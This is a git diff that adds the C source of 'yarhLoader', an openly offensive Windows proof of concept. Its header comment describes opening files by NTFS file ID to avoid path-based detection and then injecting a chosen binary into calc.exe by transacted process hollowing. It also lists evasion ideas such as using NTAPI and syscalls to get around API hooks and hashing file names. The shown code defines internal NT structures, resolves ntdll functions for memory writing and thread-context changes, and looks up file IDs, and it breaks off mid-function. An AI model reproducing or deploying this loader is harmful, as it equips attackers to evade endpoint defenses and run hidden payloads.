diff --git a/yarhLoader/Main.c b/yarhLoader/Main.c new file mode 100644 index 0000000..b0c330b --- /dev/null +++ b/yarhLoader/Main.c @@ -0,0 +1,1204 @@ +/* + oooo ooooo .o8 + `888 `888' "888 +oooo ooo .oooo. oooo d8b 888 .oo. 888 .ooooo. .oooo. .oooo888 .ooooo. oooo d8b + `88. .8' `P )88b `888""8P 888P"Y88b 888 d88' `88b `P )88b d88' `888 d88' `88b `888""8P + `88..8' .oP"888 888 888 888 888 888 888 .oP"888 888 888 888ooo888 888 + `888' d8( 888 888 888 888 888 o 888 888 d8( 888 888 888 888 .o 888 + .8' `Y888""8o d888b o888o o888o o888ooooood8 `Y8bod8P' `Y888""8o `Y8bod88P" `Y8bod8P' d888b +.o..P' +`Y8P' +*//* + +yarhLoader is an x86/x64 file loader, file reader, and file writer that abuses NTFS File identifiers for file accessibility. +Traditionally any sort of file operation requires the full path to the file in question. However, it is possible to load the +file by its unique file identifier. + +IMPORTANT: + + This method was shown to me by Jonas Lyk. It was named 'yarhLoader' because he frequently uses 'yarh' instead + of 'yes', 'ya', 'yeah', etc. The transacted process hollowing segment was courtesy of my friend Hasherezade. + Her GitHub offers many examples on how to perform this method of process injection. + + Opening a file by file id isn't completely unheard of. It *appears* to have legitimate uses. However, I have + not seen this particular method of file reading, writing, executing used before in the wild EXCEPT by Tohnichi Ransomware. + (REFERENCE TWEET: https://twitter.com/joe4security/status/1407334828501082121) + +NOTES: + PRO: Can read and write a file without needing its full file path. + CON: Requires parent directory + RESOLUTION: Recursively search entire volume + + CON: A string comparison must be performed to get the file ID (IE is this the right file?) + RESOLUTION: Can be mitigated by hashing the file name string + + NOTE: I was unable to execute a binary from its FILE ID, may be possible with additional experimentation + RESOLUTION: Process injection + + CON: Requires many NTAPI functions to resolve the FILE ID correctly + PRO: Can use "GetFileInformationByHandleEx" to get the FILE ID + CON: Kernel32.dll contains many API forwards, can be easily hooked + RESOLUTION: Use NTAPI exclusively, use SYSCALLs + + CON: This code uses "OpenFileById" kernel32.dll function + RESOLUTION: OpenFileById forwards to NtCreateFile, use the API forward + + CON: This code uses CreateProcessW + RESOLUTION: Use NtCreateProcess + + NOTE: In this code example I used many NTAPI functions to demonstrate how this *could* look in malware + NOTE: This code does not resolve NTDLL via the PEB, it does not use SYSCALLs. It does not mitigate API hooks + + +HOW TO USE THIS: + + This code dynamically assembles C:\Windows\System32 directory. It searches System32 for the unique file hash + passed to the YarhLoader function. This code uses HashStringFowlerNollVoVariant1aW for string hashing. + + In this code proof of concept it searches for a binary titled "Dispose.exe" in System32. Once it finds Dispose + it launches calc.exe and uses transacted process hollowing to inject Dispose.exe into calc.exe. + + You can place any binary in System32 as long as it is named Dispose.exe. Alternatively, you can use + HashStringFowlerNollVoVariant1aW to generate your own hash (on this proof of concept) to create your own + file name hash. + + ULONG Hash = HashStringFowlerNollVoVariant1aW((PWCHAR)L"MyFileNameHereWithExtension.exe"); + + Ive compiled this using Visual Studio 2019. I have 0 errors and 0 warnings. + +WHY SYSTEM32: + + Experimenting. You cannot write to files in System32 if you're running at medium integrity/non admin. + I was curious if I could mitigate this. I could not. Feel free to use any directory. It does not matter. + + +*/ + + +#include +#define WIN32_LEAN_AND_MEAN + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +#endif + +#define STATUS_SUCCESS 0 +#define ERROR_FAILURE_NULL_BUFFER 0 +#define STATUS_NO_MORE_FILES 0x80000006 +#define WMAX_PATH (MAX_PATH * sizeof(WCHAR)) +#define OBJ_CASE_INSENSITIVE 0x00000040 +#define FILE_OPEN 0x00000001 +#define FILE_OPEN_IF 0x00000003 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 + +typedef enum _SECTION_INHERIT +{ + ViewShare = 1, + ViewUnmap = 2 + +} SECTION_INHERIT; + +typedef struct _LSA_UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING; + +typedef struct _LDR_MODULE { + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID BaseAddress; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_MODULE, * PLDR_MODULE; + +typedef struct _PEB_LDR_DATA { + ULONG Length; + ULONG Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _PEB { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBase; + PPEB_LDR_DATA LoaderData; + PVOID ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; + PVOID FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PVOID* KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + PVOID FreeList; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PVOID* ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID** ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributeList; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; +} PEB, * PPEB; + +typedef struct __CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +}CLIENT_ID, * PCLIENT_ID; + +typedef PVOID PACTIVATION_CONTEXT; + +typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { + struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; + PACTIVATION_CONTEXT ActivationContext; + ULONG Flags; +} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME; + +typedef struct _ACTIVATION_CONTEXT_STACK { + PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; + LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + ULONG HDC; + ULONG Buffer[310]; +} GDI_TEB_BATCH, * PGDI_TEB_BATCH; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT { + ULONG Flags; + PCHAR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME { + ULONG Flags; + struct _TEB_ACTIVE_FRAME* Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; + +typedef struct _TEB +{ + NT_TIB NtTib; + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + LONG ExceptionCode; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; + UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)]; + ULONG TxFsContext; +#elif (NTDDI_VERSION >= NTDDI_WS03) + PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; + UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)]; +#else + ACTIVATION_CONTEXT_STACK ActivationContextStack; + UCHAR SpareBytes1[24]; +#endif + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + PVOID GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + PSIZE_T Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + PSIZE_T glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; +#if (NTDDI_VERSION >= NTDDI_WS03) + ULONG HardErrorMode; +#else + ULONG HardErrorsAreDisabled; +#endif +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)]; + GUID ActivityId; + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; +#elif (NTDDI_VERSION >= NTDDI_WS03) + PVOID Instrumentation[14]; + PVOID SubProcessTag; + PVOID EtwLocalData; +#else + PVOID Instrumentation[16]; +#endif + PVOID WinSockData; + ULONG GdiBatchCount; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + BOOLEAN SpareBool0; + BOOLEAN SpareBool1; + BOOLEAN SpareBool2; +#else + BOOLEAN InDbgPrint; + BOOLEAN FreeStackOnTermination; + BOOLEAN HasFiberData; +#endif + UCHAR IdealProcessor; +#if (NTDDI_VERSION >= NTDDI_WS03) + ULONG GuaranteedStackBytes; +#else + ULONG Spare3; +#endif + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + ULONG_PTR ThreadPoolData; +#elif (NTDDI_VERSION >= NTDDI_WS03) + ULONG_PTR SparePointer1; + ULONG_PTR SoftPatchPtr1; + ULONG_PTR SoftPatchPtr2; +#else + Wx86ThreadState Wx86Thread; +#endif + PVOID* TlsExpansionSlots; +#if defined(_WIN64) && !defined(EXPLICIT_32BIT) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG ImpersonationLocale; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; +#if (NTDDI_VERSION >= NTDDI_WS03) + PVOID FlsData; +#endif +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID PreferredLangauges; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + union + { + struct + { + USHORT SpareCrossTebFlags : 16; + }; + USHORT CrossTebFlags; + }; + union + { + struct + { + USHORT DbgSafeThunkCall : 1; + USHORT DbgInDebugPrint : 1; + USHORT DbgHasFiberData : 1; + USHORT DbgSkipThreadAttach : 1; + USHORT DbgWerInShipAssertCode : 1; + USHORT DbgIssuedInitialBp : 1; + USHORT DbgClonedThread : 1; + USHORT SpareSameTebBits : 9; + }; + USHORT SameTebFlags; + }; + PVOID TxnScopeEntercallback; + PVOID TxnScopeExitCAllback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG ProcessRundown; + ULONG64 LastSwitchTime; + ULONG64 TotalSwitchOutTime; + LARGE_INTEGER WaitReasonBitMap; +#else + BOOLEAN SafeThunkCall; + BOOLEAN BooleanSpare[3]; +#endif +} TEB, * PTEB; + +typedef enum _FILE_INFORMATION_CLASS { + FileDirectoryInformation = 1, + FileFullDirectoryInformation, // 2 + FileBothDirectoryInformation, // 3 + FileBasicInformation, // 4 + FileStandardInformation, // 5 + FileInternalInformation, // 6 + FileEaInformation, // 7 + FileAccessInformation, // 8 + FileNameInformation, // 9 + FileRenameInformation, // 10 + FileLinkInformation, // 11 + FileNamesInformation, // 12 + FileDispositionInformation, // 13 + FilePositionInformation, // 14 + FileFullEaInformation, // 15 + FileModeInformation, // 16 + FileAlignmentInformation, // 17 + FileAllInformation, // 18 + FileAllocationInformation, // 19 + FileEndOfFileInformation, // 20 + FileAlternateNameInformation, // 21 + FileStreamInformation, // 22 + FilePipeInformation, // 23 + FilePipeLocalInformation, // 24 + FilePipeRemoteInformation, // 25 + FileMailslotQueryInformation, // 26 + FileMailslotSetInformation, // 27 + FileCompressionInformation, // 28 + FileObjectIdInformation, // 29 + FileCompletionInformation, // 30 + FileMoveClusterInformation, // 31 + FileQuotaInformation, // 32 + FileReparsePointInformation, // 33 + FileNetworkOpenInformation, // 34 + FileAttributeTagInformation, // 35 + FileTrackingInformation, // 36 + FileIdBothDirectoryInformation, // 37 + FileIdFullDirectoryInformation, // 38 + FileValidDataLengthInformation, // 39 + FileShortNameInformation, // 40 + FileIoCompletionNotificationInformation, // 41 + FileIoStatusBlockRangeInformation, // 42 + FileIoPriorityHintInformation, // 43 + FileSfioReserveInformation, // 44 + FileSfioVolumeInformation, // 45 + FileHardLinkInformation, // 46 + FileProcessIdsUsingFileInformation, // 47 + FileNormalizedNameInformation, // 48 + FileNetworkPhysicalNameInformation, // 49 + FileIdGlobalTxDirectoryInformation, // 50 + FileIsRemoteDeviceInformation, // 51 + FileUnusedInformation, // 52 + FileNumaNodeInformation, // 53 + FileStandardLinkInformation, // 54 + FileRemoteProtocolInformation, // 55 + + // + // These are special versions of these operations (defined earlier) + // which can be used by kernel mode drivers only to bypass security + // access checks for Rename and HardLink operations. These operations + // are only recognized by the IOManager, a file system should never + // receive these. + // + + FileRenameInformationBypassAccessCheck, // 56 + FileLinkInformationBypassAccessCheck, // 57 + + // + // End of special information classes reserved for IOManager. + // + + FileVolumeNameInformation, // 58 + FileIdInformation, // 59 + FileIdExtdDirectoryInformation, // 60 + FileReplaceCompletionInformation, // 61 + FileHardLinkFullIdInformation, // 62 + FileIdExtdBothDirectoryInformation, // 63 + FileDispositionInformationEx, // 64 + FileRenameInformationEx, // 65 + FileRenameInformationExBypassAccessCheck, // 66 + FileDesiredStorageClassInformation, // 67 + FileStatInformation, // 68 + FileMemoryPartitionInformation, // 69 + FileStatLxInformation, // 70 + FileCaseSensitiveInformation, // 71 + FileLinkInformationEx, // 72 + FileLinkInformationExBypassAccessCheck, // 73 + FileStorageReserveIdInformation, // 74 + FileCaseSensitiveInformationForceAccessCheck, // 75 + + FileMaximumInformation +} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS; + +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + PVOID RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, * PFILE_ID_BOTH_DIR_INFORMATION; + +typedef enum _THREADINFOCLASS { + ThreadBasicInformation, + ThreadTimes, + ThreadPriority, + ThreadBasePriority, + ThreadAffinityMask, + ThreadImpersonationToken, + ThreadDescriptorTableEntry, + ThreadEnableAlignmentFaultFixup, + ThreadEventPair_Reusable, + ThreadQuerySetWin32StartAddress, + ThreadZeroTlsCell, + ThreadPerformanceCount, + ThreadAmILastThread, + ThreadIdealProcessor, + ThreadPriorityBoost, + ThreadSetTlsArrayAddress, // Obsolete + ThreadIsIoPending, + ThreadHideFromDebugger, + ThreadBreakOnTermination, + ThreadSwitchLegacyState, + ThreadIsTerminated, + ThreadLastSystemCall, + ThreadIoPriority, + ThreadCycleTime, + ThreadPagePriority, + ThreadActualBasePriority, + ThreadTebInformation, + ThreadCSwitchMon, // Obsolete + ThreadCSwitchPmu, + ThreadWow64Context, + ThreadGroupInformation, + ThreadUmsInformation, // UMS + ThreadCounterProfiling, + ThreadIdealProcessorEx, + ThreadCpuAccountingInformation, + MaxThreadInfoClass +} THREADINFOCLASS; + +#define PCUNICODE_STRING PUNICODE_STRING + +typedef VOID(NTAPI* PIO_APC_ROUTINE)(PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock,ULONG Reserved); +typedef NTSTATUS(NTAPI* NTQUERYDIRECTORYFILE)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS, BOOL, PUNICODE_STRING, BOOL); +typedef NTSTATUS(NTAPI* RTLQUERYENVIRONMENTVARIABLE_U)(PWSTR, PCUNICODE_STRING, PUNICODE_STRING); +typedef NTSTATUS(NTAPI* NTCREATESECTION)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE); +typedef NTSTATUS(NTAPI* NTMAPVIEWOFSECTION)(HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, SECTION_INHERIT, ULONG, ULONG); +typedef NTSTATUS(NTAPI* NTUNMAPVIEWOFSECTION)(HANDLE, PVOID); +typedef NTSTATUS(NTAPI* NTCREATEFILE)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG); +typedef NTSTATUS(NTAPI* NTOPENFILE)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, ULONG, ULONG); +typedef NTSTATUS(NTAPI* NTCLOSE)(HANDLE); +typedef NTSTATUS(NTAPI* NTGETCONTEXTTHREAD)(HANDLE, LPCONTEXT); +typedef NTSTATUS(NTAPI* NTSETCONTEXTTHREAD)(HANDLE, LPCONTEXT); +typedef NTSTATUS(NTAPI* NTRESUMETHREAD)(HANDLE, PULONG); +typedef NTSTATUS(NTAPI* NTQUERYINFORMATIONTHREAD)(HANDLE, THREADINFOCLASS, PVOID, ULONG, PULONG); +typedef NTSTATUS(NTAPI* NTSETINFORMATIONTHREAD)(HANDLE, THREADINFOCLASS, PVOID, ULONG); +typedef NTSTATUS(NTAPI* NTWRITEVIRTUALMEMORY)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T); + +typedef ULONG(NTAPI* RTLNTSTATUSTODOSERROR)(NTSTATUS); +typedef PVOID(NTAPI* RTLALLOCATEHEAP)(PVOID, ULONG, SIZE_T); +typedef BOOL(NTAPI* RTLFREEHEAP)(PVOID, ULONG, PVOID); + +NTQUERYDIRECTORYFILE NtQueryDirectoryFile = NULL; +NTCREATESECTION NtCreateSection = NULL; +NTMAPVIEWOFSECTION NtMapViewOfSection = NULL; +NTUNMAPVIEWOFSECTION NtUnmapViewOfSection = NULL; +NTCREATEFILE NtCreateFile = NULL; +NTOPENFILE NtOpenFile = NULL; +NTCLOSE NtClose = NULL; +NTGETCONTEXTTHREAD NtGetContextThread = NULL; +NTSETCONTEXTTHREAD NtSetContextThread = NULL; +NTRESUMETHREAD NtResumeThread = NULL; +NTQUERYINFORMATIONTHREAD NtQueryInformationThread = NULL; +NTSETINFORMATIONTHREAD NtSetInformationThread = NULL; +NTWRITEVIRTUALMEMORY NtWriteVirtualMemory = NULL; + +RTLQUERYENVIRONMENTVARIABLE_U RtlQueryEnvironmentVariable_U = NULL; +RTLNTSTATUSTODOSERROR RtlNtStatusToDosError = NULL; +RTLALLOCATEHEAP RtlAllocateHeap = NULL; +RTLFREEHEAP RtlFreeHeap = NULL; + +HMODULE GlobalNtHandle = NULL; +HANDLE GlobalProcessHeap = NULL; + +PTEB GetTeb(VOID) +{ +#if defined(_WIN64) + return (PTEB)__readgsqword(0x30); +#elif define(_WIN32) + return (PTEB)__readfsdword(0x18); +#endif +} + +PPEB Peb; +PTEB Teb; + +#define InitializeObjectAttributes(p,n,a,r,s) \ + do { \ + (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } while (0) + + +VOID InternalSetLastError(DWORD ErrorCode) +{ + Teb->LastErrorValue = ErrorCode; + return; +} + +DWORD InternalGetLastError(VOID) +{ + return Teb->LastErrorValue; +} + +VOID RtlInitEmptyUnicodeString(PUNICODE_STRING UnicodeString, PWCHAR Buffer, USHORT BufferSize) +{ + UnicodeString->Length = 0; + UnicodeString->MaximumLength = BufferSize; + UnicodeString->Buffer = Buffer; +} + +SIZE_T StringLengthW(LPCWSTR String) +{ + LPCWSTR String2; + + for (String2 = String; *String2; ++String2); + + return (String2 - String); +} + +VOID RtlInitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString) +{ + SIZE_T DestSize; + + if (SourceString) + { + DestSize = StringLengthW(SourceString) * sizeof(WCHAR); + DestinationString->Length = (USHORT)DestSize; + DestinationString->MaximumLength = (USHORT)DestSize + sizeof(WCHAR); + } + else + { + DestinationString->Length = 0; + DestinationString->MaximumLength = 0; + } + + DestinationString->Buffer = (PWCHAR)SourceString; +} + +PWCHAR StringCopyW(PWCHAR String1, PWCHAR String2) +{ + PWCHAR p = String1; + + while ((*p++ = *String2++) != 0); + + return String1; +} + +PWCHAR StringConcatW(PWCHAR String, PWCHAR String2) +{ + StringCopyW(&String[StringLengthW(String)], String2); + + return String; +} + +ULONG HashStringFowlerNollVoVariant1aW(PWCHAR String) +{ + ULONG Hash = 0x811c9dc5; + + while (*String) + { + Hash ^= (UCHAR)*String++; + Hash *= 0x01000193; + } + + return Hash; +} + +BOOL RtlGetEnvironmentVariableAltW(LPCWSTR lpName, LPWSTR lpBuffer, DWORD Length) +{ + UNICODE_STRING EnvironmentVariable = { 0 }; + UNICODE_STRING ReturnedVariable = { 0 }; + NTSTATUS Status = STATUS_SUCCESS; + BOOL bFlag = TRUE; + + RtlInitUnicodeString(&EnvironmentVariable, lpName); + + RtlInitEmptyUnicodeString(&ReturnedVariable, lpBuffer, (USHORT)Length); + + Status = RtlQueryEnvironmentVariable_U(NULL, &EnvironmentVariable, &ReturnedVariable); + if (!NT_SUCCESS(Status)) + bFlag = FALSE; + + if(!bFlag) + InternalSetLastError(RtlNtStatusToDosError(Status)); + + return bFlag; +} + +BOOL RtlInitGlobalApplicationData(VOID) +{ + Teb = (PTEB)GetTeb(); + Peb = (PPEB)Teb->ProcessEnvironmentBlock; + + GlobalNtHandle = GetModuleHandleW(L"ntdll.dll"); + if (GlobalNtHandle == NULL) + return FALSE; + + GlobalProcessHeap = (HANDLE)Peb->ProcessHeap; + + NtQueryDirectoryFile = (NTQUERYDIRECTORYFILE)GetProcAddress(GlobalNtHandle, "NtQueryDirectoryFile"); + NtCreateSection = (NTCREATESECTION)GetProcAddress(GlobalNtHandle, "NtCreateSection"); + NtMapViewOfSection = (NTMAPVIEWOFSECTION)GetProcAddress(GlobalNtHandle, "NtMapViewOfSection"); + NtUnmapViewOfSection = (NTUNMAPVIEWOFSECTION)GetProcAddress(GlobalNtHandle, "NtUnmapViewOfSection"); + RtlNtStatusToDosError = (RTLNTSTATUSTODOSERROR)GetProcAddress(GlobalNtHandle, "RtlNtStatusToDosError"); + NtCreateFile = (NTCREATEFILE)GetProcAddress(GlobalNtHandle, "NtCreateFile"); + NtOpenFile = (NTOPENFILE)GetProcAddress(GlobalNtHandle, "NtOpenFile"); + NtClose = (NTCLOSE)GetProcAddress(GlobalNtHandle, "NtClose"); + NtGetContextThread = (NTGETCONTEXTTHREAD)GetProcAddress(GlobalNtHandle, "NtGetContextThread"); + NtSetContextThread = (NTSETCONTEXTTHREAD)GetProcAddress(GlobalNtHandle, "NtSetContextThread"); + NtResumeThread = (NTRESUMETHREAD)GetProcAddress(GlobalNtHandle, "NtResumeThread"); + NtQueryInformationThread = (NTQUERYINFORMATIONTHREAD)GetProcAddress(GlobalNtHandle, "NtQueryInformationThread"); + NtSetInformationThread = (NTSETINFORMATIONTHREAD)GetProcAddress(GlobalNtHandle, "NtSetInformationThread"); + NtWriteVirtualMemory = (NTWRITEVIRTUALMEMORY)GetProcAddress(GlobalNtHandle, "NtWriteVirtualMemory"); + + RtlAllocateHeap = (RTLALLOCATEHEAP)GetProcAddress(GlobalNtHandle, "RtlAllocateHeap"); + RtlFreeHeap = (RTLFREEHEAP)GetProcAddress(GlobalNtHandle, "RtlFreeHeap"); + RtlQueryEnvironmentVariable_U = (RTLQUERYENVIRONMENTVARIABLE_U)GetProcAddress(GlobalNtHandle, "RtlQueryEnvironmentVariable_U"); + + if (!NtQueryDirectoryFile || !RtlQueryEnvironmentVariable_U || !NtCreateSection || !NtMapViewOfSection || + !NtUnmapViewOfSection || !RtlNtStatusToDosError || !NtCreateFile || !NtOpenFile || !NtClose || + !RtlAllocateHeap || !RtlFreeHeap || !NtGetContextThread || !NtSetContextThread || !NtResumeThread || + !NtQueryInformationThread || !NtSetInformationThread || !NtWriteVirtualMemory) + { + return FALSE; + } + + return TRUE; +} + +HANDLE SubroutineNtCreateFile(LPCWSTR lpFilename) +{ + HANDLE Handle = INVALID_HANDLE_VALUE; + NTSTATUS Status = STATUS_SUCCESS; + IO_STATUS_BLOCK Io = { 0 }; + OBJECT_ATTRIBUTES Attributes = { 0 }; + UNICODE_STRING UnicodeString = { 0 }; + + RtlInitUnicodeString(&UnicodeString, lpFilename); + InitializeObjectAttributes(&Attributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL); + + Status = NtCreateFile(&Handle, GENERIC_READ | SYNCHRONIZE, &Attributes, &Io, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); + if (!NT_SUCCESS(Status)) + InternalSetLastError(RtlNtStatusToDosError(Status)); + + return Handle; +} + +HANDLE RtlOpenFileByFileId(HANDLE Volume, LPFILE_ID_DESCRIPTOR FileId, DWORD DesiredAccess, DWORD ShareMode) +{ + return NULL; +} + +LONGLONG SubroutineGetNtfsFileId(HANDLE Handle, PLARGE_INTEGER uId, ULONG Hash) +{ + NTSTATUS Status = STATUS_SUCCESS; + IO_STATUS_BLOCK Io = { 0 }; + PFILE_ID_BOTH_DIR_INFORMATION DirectoryInformation = NULL; + LONGLONG FileId = 0; + + DirectoryInformation = (PFILE_ID_BOTH_DIR_INFORMATION)RtlAllocateHeap(GlobalProcessHeap, HEAP_ZERO_MEMORY, 0x1000); + if (DirectoryInformation == NULL) + return ERROR_FAILURE_NULL_BUFFER; + + while (0 <= (Status = NtQueryDirectoryFile(Handle, NULL, NULL, NULL, &Io, DirectoryInformation, 0x1000, 37, 0, NULL, FALSE))) + { + if (DirectoryInformation->NextEntryOffset != 0) + { + PBYTE pByte = (PBYTE)DirectoryInformation; + for (PFILE_ID_BOTH_DIR_INFORMATION Next = (PFILE_ID_BOTH_DIR_INFORMATION)pByte; Next->NextEntryOffset != 0; pByte += Next->NextEntryOffset) + { + Next = (PFILE_ID_BOTH_DIR_INFORMATION)pByte; + if (HashStringFowlerNollVoVariant1aW(Next->FileName) == Hash) //L"cmd.exe" + { + RtlCopyMemory(uId, &Next->FileId, sizeof(Next->FileId)); + FileId = Next->FileId.QuadPart; + goto EXIT_ROUTINE; + } + } + } + } + +EXIT_ROUTINE: + + if (DirectoryInformation) + RtlFreeHeap(GlobalProcessHeap, HEAP_ZERO_MEMORY, DirectoryInformation); + + if (FileId == ERROR_FAILURE_NULL_BUFFER) + { + if (!NT_SUCCESS(Status)) + InternalSetLastError(RtlNtStatusToDosError(Status)); + } + + return FileId; +} + +HANDLE RtlGetVolumeRelativeHandle(VOID) +{ + HANDLE RootHandle = NULL; + NTSTATUS Status = STATUS_SUCCESS; + UNICODE_STRING RootDirectory = { 0 }; + OBJECT_ATTRIBUTES Attributes = { 0 }; + IO_STATUS_BLOCK Io = { 0 }; + + RtlInitUnicodeString(&RootDirectory, L"\\??\\C:\\"); + InitializeObjectAttributes(&Attributes, &RootDirectory, 